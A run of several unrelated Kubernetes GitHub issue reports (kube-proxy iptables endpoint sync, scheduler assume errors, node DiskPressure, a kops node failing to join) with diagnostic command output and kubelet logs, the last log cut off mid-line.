kube-services -d 172.31.128.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-snw3lqw4kx7j7yt7 --mask 255.255.255.255 --rsource -j kube-sep-snw3lqw4kx7j7yt7\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-kn3idlzke27jyfby --mask 255.255.255.255 --rsource -j kube-sep-kn3idlzke27jyfby\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-snw3lqw4kx7j7yt7\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-kn3idlzke27jyfby\r \r kubernetes-kubernetes-zone0-0-1497454140 core   docker ps | grep kube-proxy\r 486c28d0da9a        quay.docker.tech.lastmile.com/coreos/hyperkube@sha256:1c8b4487be52a6df7668135d88b4c375aeeda4d934e34dbf5a8191c96161a8f5          \ /hyperkube proxy --m\    18 minutes ago      up 18 minutes                           k8s_kube-proxy_kube-proxy-j38kk_kube-system_206f21cc-5119-11e7-8f92-fa163e3db5b6_0\r 5c6feba0ea44        gcr.docker.tech.lastmile.com/google_containers/pause-amd64:3.0                                                                  \ /pause\                  18 minutes ago      up 18 minutes                           k8s_pod_kube-proxy-j38kk_kube-system_206f21cc-5119-11e7-8f92-fa163e3db5b6_0\r \r kubernetes-kubernetes-zone0-0-1497454140 core   docker stop 486c28d0da9a\r 486c28d0da9a\r \r kubernetes-kubernetes-zone0-0-1497454140 core   sleep 10\r \r kubernetes-kubernetes-zone0-0-1497454140 core   iptables-save | grep kubernetes:https\r -a kube-sep-kn3idlzke27jyfby -s 10.64.140.67/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r   just the one now\r -a kube-sep-kn3idlzke27jyfby -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-kn3idlzke27jyfby --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.64.140.67:443\r -a kube-services -d 172.31.128.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-kn3idlzke27jyfby --mask 255.255.255.255 --rsource -j kube-sep-kn3idlzke27jyfby\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-kn3idlzke27jyfby\r \r    \r \r   what you expected to happen  :\r for kube-proxy to correctly sync the endpoint status to iptables\r \r   how to reproduce it    as minimally and precisely as possible :\r unsure, problem happens intermittently.\r \r   anything else we need to know  :\r \r

https://github.com/kubernetes/apimachinery/blob/21807b270ec15d19215659a5caa08b17f66d6f44/pkg/util/intstr/intstr.go l104-l107\r https://play.golang.org/p/yqmgfopopm\r \r there is no added value by that conversion, even worse it can be misused.\r \r @kubernetes/sig-api-machinery-bugs

ref:  workload controllers test plan  https://docs.google.com/document/d/1e2m3kd2wtfhisyyuqyx0pcugzyzcykowo4ciluojadm/edit  by @enisoc\r \r unit tests\r -     refactor sync call tree so we can unit test decisions  on this sync pass, create this, delete that  without needing a test fixture with mocks.\r -     remove unit tests made redundant by new integration tests below  especially ones that need reactor/mock setup .\r \r integration tests:\r -     port unit tests over that should really be integration tests.\r -     add testdaemonsetbasic with subtests that replace basic behavior unit tests like creating pods, reacting to events, orphan/adopt, etc.\r -     add testdaemonsetrollingupdate with subtests for roll out, roll back, etc.\r \r e2e tests:\r convert \ edge case\  e2e tests into integration tests.\r -     should retry creating failed daemon pods.\r -     should adopt existing pods when creating a rollingupdate daemonset regardless of templategeneration.\r -     should rollback without unnecessary restarts.\r \r cmd tests:\r -     test all appropriate kubectl commands.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r \r pr https://github.com/kubernetes/kubernetes/pull/50164 have remove the remove apps/v1beta2 defaulting codes for obj.spec.selector and obj.labels, but the api reference and code comment is not updated and it is confused for user, releated issue https://github.com/kubernetes/kubernetes/issues/53976\r \r \r \r \r \r   what you expected to happen  :\r \r update code comment\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r pod created by statefulset failed to schedule, with error:\r \r    \r assumepod failed: pod <namespace>/<pod> state wasn't initial but get assumed\r    \r \r   what you expected to happen  :\r \r pod scheduled to node correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't yet have reproducible steps, from a fresh cluster. i'm using the prometheus operator to create a statefulset running alertmanager. i have deleted the statefulset and recreated numerous times, but always end up with this error. changing the name of the statefulset fixes the problem.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4-gke.0\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : google cos\r \r also wondering if there is another workaround for this on gke where i can't restart the scheduler  which i suspect would fix this?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r we can see all related with  pull-kubernetes-e2e-gce-device-plugin-gpu  test failed.   64366  64364  64339  63839 and so on.\r  i think it maybe relate with pr  63979 and  64340.\r \r   what happened  :\r always fails.\r   what you expected to happen  :\r pass all.\r \r

i was trying to setup a kubernetes cluster. after i have joined the nodes, i checked for the status and the following ouputs are as follows:\r \r   $ kubectl get nodes  \r name       status     roles     age       version\r deepak     notready   <none>    20m       v1.11.3\r hamid123   ready      master    31m       v1.11.3\r \r \r   $ kubectl describe nodes  \r name:               deepak\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=deepak\r annotations:        kubeadm.alpha.kubernetes.io/cri-socket=/var/run/dockershim.sock\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  wed, 12 sep 2018 02:33:32 -0400\r taints:             <none>\r unschedulable:      false\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:33:32 -0400   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:33:32 -0400   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     true    wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:33:42 -0400   kubelethasdiskpressure       kubelet has disk pressure\r   pidpressure      false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:33:32 -0400   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:33:32 -0400   kubeletnotready              runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r addresses:\r   internalip:  10.184.10.165\r   hostname:    deepak\r capacity:\r  cpu:                28\r  ephemeral-storage:  1837643084ki\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             130632812ki\r  pods:               110\r allocatable:\r  cpu:                28\r  ephemeral-storage:  1693571863411\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             130530412ki\r  pods:               110\r system info:\r  machine id:                 810f44a76135411c9bbbfa0c252bfd1e\r  system uuid:                4c4c4544-005a-4810-8036-c4c04f394e32\r  boot id:                    21becf92-a352-4923-84cb-341a26e0c3d5\r  kernel version:             4.15.0-34-generic\r  os image:                   ubuntu 16.04.5 lts\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://18.6.1\r  kubelet version:            v1.11.2\r  kube-proxy version:         v1.11.2\r podcidr:                     192.168.1.0/24\r non-terminated pods:          2 in total \r   namespace                  name                 cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                 ------------  ----------  ---------------  -------------\r   kube-system                calico-node-pzftf    250m  0%      0  0%       0  0%            0  0% \r   kube-system                kube-proxy-2drxr     0  0%         0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   resource  requests   limits\r   --------  --------   ------\r   cpu       250m  0%   0  0% \r   memory    0  0%      0  0% \r events:\r   type     reason                   age                 from             message\r   ----     ------                   ----                ----             -------\r   normal   starting                 15m                 kubelet, deepak  starting kubelet.\r   normal   nodehassufficientdisk    15m                 kubelet, deepak  node deepak status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  15m                 kubelet, deepak  node deepak status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    15m                 kubelet, deepak  node deepak status is now: nodehasnodiskpressure\r   normal   nodehassufficientpid     15m                 kubelet, deepak  node deepak status is now: nodehassufficientpid\r   normal   nodeallocatableenforced  15m                 kubelet, deepak  updated node allocatable limit across pods\r   normal   nodehasdiskpressure      14m                 kubelet, deepak  node deepak status is now: nodehasdiskpressure\r   warning  evictionthresholdmet     12m  x18 over 15m   kubelet, deepak  attempting to reclaim ephemeral-storage\r   warning  imagegcfailed            10m                 kubelet, deepak  wanted to free 214231040819 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 2cb0d9787c4d  must be forced  - image is being used by stopped container a8ffd42f3f6f\r   warning  imagegcfailed            5m                  kubelet, deepak  wanted to free 214231692083 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 2cb0d9787c4d  must be forced  - image is being used by stopped container 92afc5ca9c0c\r   warning  imagegcfailed            9s                  kubelet, deepak  wanted to free 214232314675 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 2cb0d9787c4d  must be forced  - image is being used by stopped container 92afc5ca9c0c\r \r \r name:               hamid123\r roles:              master\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=hamid123\r                     node-role.kubernetes.io/master=\r annotations:        kubeadm.alpha.kubernetes.io/cri-socket=/var/run/dockershim.sock\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  wed, 12 sep 2018 02:22:31 -0400\r taints:             node-role.kubernetes.io/master:noschedule\r unschedulable:      false\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:22:29 -0400   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:22:29 -0400   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:22:29 -0400   kubelethasnodiskpressure     kubelet has no disk pressure\r   pidpressure      false   wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:22:29 -0400   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            true    wed, 12 sep 2018 02:48:33 -0400   wed, 12 sep 2018 02:28:52 -0400   kubeletready                 kubelet is posting ready status. apparmor enabled\r addresses:\r   internalip:  10.184.10.179\r   hostname:    hamid123\r capacity:\r  cpu:                28\r  ephemeral-storage:  1837643084ki\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             130632820ki\r  pods:               110\r allocatable:\r  cpu:                28\r  ephemeral-storage:  1693571863411\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             130530420ki\r  pods:               110\r system info:\r  machine id:                 810f44a76135411c9bbbfa0c252bfd1e\r  system uuid:                4c4c4544-005a-4810-8037-c4c04f394e32\r  boot id:                    9bc55e59-f5e3-4cb9-836f-df4c9dd4b088\r  kernel version:             4.15.0-33-generic\r  os image:                   ubuntu 16.04.5 lts\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://18.6.1\r  kubelet version:            v1.11.3\r  kube-proxy version:         v1.11.3\r podcidr:                     192.168.0.0/24\r non-terminated pods:          11 in total \r   namespace                  name                                       cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                                       ------------  ----------  ---------------  -------------\r   kube-system                calico-etcd-5sr92                          0  0%         0  0%       0  0%            0  0% \r   kube-system                calico-kube-controllers-cd589c58b-9cktk    0  0%         0  0%       0  0%            0  0% \r   kube-system                calico-node-dzvh2                          250m  0%      0  0%       0  0%            0  0% \r   kube-system                coredns-78fcdf6894-7fdwv                   100m  0%      0  0%       70mi  0%         170mi  0% \r   kube-system                coredns-78fcdf6894-xwmql                   100m  0%      0  0%       70mi  0%         170mi  0% \r   kube-system                etcd-hamid123                              0  0%         0  0%       0  0%            0  0% \r   kube-system                kube-apiserver-hamid123                    250m  0%      0  0%       0  0%            0  0% \r   kube-system                kube-controller-manager-hamid123           200m  0%      0  0%       0  0%            0  0% \r   kube-system                kube-proxy-jl9p2                           0  0%         0  0%       0  0%            0  0% \r   kube-system                kube-scheduler-hamid123                    100m  0%      0  0%       0  0%            0  0% \r   kube-system                kubernetes-dashboard-767dc7d4d-xfgrj       0  0%         0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   resource  requests    limits\r   --------  --------    ------\r   cpu       1  3%       0  0% \r   memory    140mi  0%   340mi  0% \r events:\r   type    reason                   age                from                  message\r   ----    ------                   ----               ----                  -------\r   normal  starting                 26m                kubelet, hamid123     starting kubelet.\r   normal  nodeallocatableenforced  26m                kubelet, hamid123     updated node allocatable limit across pods\r   normal  nodehassufficientpid     26m  x5 over 26m   kubelet, hamid123     node hamid123 status is now: nodehassufficientpid\r   normal  nodehassufficientdisk    26m  x6 over 26m   kubelet, hamid123     node hamid123 status is now: nodehassufficientdisk\r   normal  nodehassufficientmemory  26m  x6 over 26m   kubelet, hamid123     node hamid123 status is now: nodehassufficientmemory\r   normal  nodehasnodiskpressure    26m  x6 over 26m   kubelet, hamid123     node hamid123 status is now: nodehasnodiskpressure\r   normal  starting                 25m                kube-proxy, hamid123  starting kube-proxy.\r   normal  nodeready                19m                kubelet, hamid123     node hamid123 status is now: nodeready\r \r \r as i see its showing \ diskpressure\  as true. so, can anyone suggest me how to solve this issue.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r node not joining kops cluster\r \r   what you expected to happen  :\r the node to join the cluster and start scheduling pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws\r - os  e.g:  cat /etc/os-release  :\r    \r debian gnu/linux 8 \  \\l\r    \r - kernel  e.g.  uname -a  :\r  linux ip-172-20-47-6 4.4.102-k8s  1 smp sun nov 26 23:32:43 utc 2017 x86_64 gnu/linux \r \r - install tools:\r kops:\r  version 1.11.0  git-2c2042465  \r helm:\r    \r client: &version.version{semver:\ v2.13.0\ , gitcommit:\ 79d07943b03aea2b76c12644b4b54733bc5958d6\ , gittreestate:\ clean\ }\r server: &version.version{semver:\ v2.13.0\ , gitcommit:\ 79d07943b03aea2b76c12644b4b54733bc5958d6\ , gittreestate:\ clean\ }\r \r    \r \r - others:\r daemon.log:\r    \r mar 22 17:39:20 ip-172-20-47-6 systemd 1 : starting run docker-healthcheck once...\r mar 22 17:39:20 ip-172-20-47-6 docker-healthcheck 11211 : docker healthy\r mar 22 17:39:20 ip-172-20-47-6 systemd 1 : started run docker-healthcheck once.\r mar 22 17:39:26 ip-172-20-47-6 kubelet 1272 : e0322 17:39:26.907429    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:26 ip-172-20-47-6 kubelet 1272 : e0322 17:39:26.908766    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:26 ip-172-20-47-6 kubelet 1272 : e0322 17:39:26.909977    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:26 ip-172-20-47-6 kubelet 1272 : e0322 17:39:26.911361    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:26 ip-172-20-47-6 kubelet 1272 : e0322 17:39:26.912665    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:26 ip-172-20-47-6 kubelet 1272 : e0322 17:39:26.912677    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:39:29 ip-172-20-47-6 kubelet 1272 : e0322 17:39:29.643402    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.461704    1272 kubelet.go:1853  syncloop  delete, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 6729af74-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.461816    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.461829    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.461836    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.461841    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.464966    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.465963    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.465996    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.466003    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : w0322 17:39:31.466169    1272 kubelet.go:1601  deleting mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 6729af74-4cc9-11e9-bc50-121ba07c8a60 \  because it is outdated\r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.466180    1272 mirror_client.go:85  deleting a mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system\ \r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.470401    1272 kubelet.go:1847  syncloop  remove, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 6729af74-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:39:31 ip-172-20-47-6 kubelet 1272 : i0322 17:39:31.478421    1272 kubelet.go:1837  syncloop  add, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 731aa035-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.448769    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.448791    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.448797    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.448803    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.451747    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.452651    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.452670    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:32 ip-172-20-47-6 kubelet 1272 : i0322 17:39:32.452679    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:36 ip-172-20-47-6 kubelet 1272 : e0322 17:39:36.914269    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:36 ip-172-20-47-6 kubelet 1272 : e0322 17:39:36.916566    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:36 ip-172-20-47-6 kubelet 1272 : e0322 17:39:36.917955    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:36 ip-172-20-47-6 kubelet 1272 : e0322 17:39:36.919232    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:36 ip-172-20-47-6 kubelet 1272 : e0322 17:39:36.921271    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:36 ip-172-20-47-6 kubelet 1272 : e0322 17:39:36.921297    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:39:39 ip-172-20-47-6 kubelet 1272 : e0322 17:39:39.643593    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:39:46 ip-172-20-47-6 kubelet 1272 : e0322 17:39:46.922713    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:46 ip-172-20-47-6 systemd 1 : starting run docker-healthcheck once...\r mar 22 17:39:46 ip-172-20-47-6 kubelet 1272 : e0322 17:39:46.924089    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:46 ip-172-20-47-6 kubelet 1272 : e0322 17:39:46.925427    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:46 ip-172-20-47-6 kubelet 1272 : e0322 17:39:46.926698    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:46 ip-172-20-47-6 kubelet 1272 : e0322 17:39:46.927920    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:46 ip-172-20-47-6 kubelet 1272 : e0322 17:39:46.927927    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:39:46 ip-172-20-47-6 docker-healthcheck 11240 : docker healthy\r mar 22 17:39:46 ip-172-20-47-6 systemd 1 : started run docker-healthcheck once.\r mar 22 17:39:49 ip-172-20-47-6 kubelet 1272 : e0322 17:39:49.643801    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.512821    1272 kubelet.go:1853  syncloop  delete, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 731aa035-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.512929    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.512941    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.512948    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.512953    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.516129    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.517129    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.517149    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.517155    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : w0322 17:39:51.517308    1272 kubelet.go:1601  deleting mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 731aa035-4cc9-11e9-bc50-121ba07c8a60 \  because it is outdated\r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.517319    1272 mirror_client.go:85  deleting a mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system\ \r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.517795    1272 kubelet.go:1847  syncloop  remove, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 731aa035-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:39:51 ip-172-20-47-6 kubelet 1272 : i0322 17:39:51.531483    1272 kubelet.go:1837  syncloop  add, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 7f0df1b2-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.478235    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.478258    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.478264    1272 kubelet_node_status.go:347  adding node label from cloud provider: 